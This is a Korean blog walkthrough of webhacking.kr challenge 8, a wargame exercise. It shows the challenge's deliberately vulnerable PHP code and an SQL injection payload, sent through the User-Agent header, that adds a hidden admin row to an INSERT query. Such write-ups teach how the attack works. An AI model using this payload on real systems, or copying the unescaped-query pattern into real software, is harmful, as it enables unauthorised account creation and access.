https://webhacking.kr/challenge/web-08/
문제 코드
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 8</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>
<br><br>
<center>
<?php
/* HTTP_USER_AGENT를 수정하여 쿼리를 수정 */
$agent=trim(getenv("HTTP_USER_AGENT"));
$ip=$_SERVER['REMOTE_ADDR'];
if(preg_match("/from/i",$agent)){
echo("<br>Access Denied!<br><br>");
echo(htmlspecialchars($agent));
exit();
}
/* 생성된 유저 수가 70이상일 경우 테이블 초기화 */
$db = dbconnect();
$count_ck = mysqli_fetch_array(mysqli_query($db,"select count(id) from chall8"));
if($count_ck[0] >= 70){ mysqli_query($db,"delete from chall8"); }
$result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
$ck = mysqli_fetch_array($result);
if($ck){
echo "hi <b>".htmlentities($ck[0])."</b><p>";
if($ck[0]=="admin"){
mysqli_query($db,"delete from chall8");
solve(8);
}
}
/* 쿼리를 조작하여 admin 계정을 생성하는 부분 */
if(!$ck){
$q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
echo("<br><br>done! ({$count_ck[0]}/70)");
}
?>
<a href=./?view_source=1>view-source</a>
</body>
</html>
위 문제는 INSERT 쿼리를 조작하여 admin 계정을 생성하고, admin 계정을 생성할 때 등록한 USER_AGENT 값을 줘서 admin 계정으로 로그인하면 됩니다.
유저 생성 쿼리문에서 $agent 값을 수정하여 봅시다.
insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')
insert into chall8(agent,ip,id) values('A','1.1.1.1','admin'), ('B','{$ip}','guest')
빨간색으로 표시한 부분처럼 $agent 변수에 입력으로 주게되면, 2개의 데이터가 생기게 됩니다.
이제 $agent 변수 값에 A 값을 주면 admin 계정에 로그인할 수 있게 됩니다.
해당 문제는 BurpSuite를 사용하여 쿼리를 조작하는 문제였습니다.
'Web Security > webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-45 (0) | 2023.05.27 |
---|---|
[Webhacking.kr] old-50 (0) | 2023.05.27 |
[Webhacking.kr] old-24 (0) | 2023.05.19 |
[Webhacking.kr] old-21 (0) | 2021.08.01 |
[Webhacking.kr] old-20 (0) | 2021.08.01 |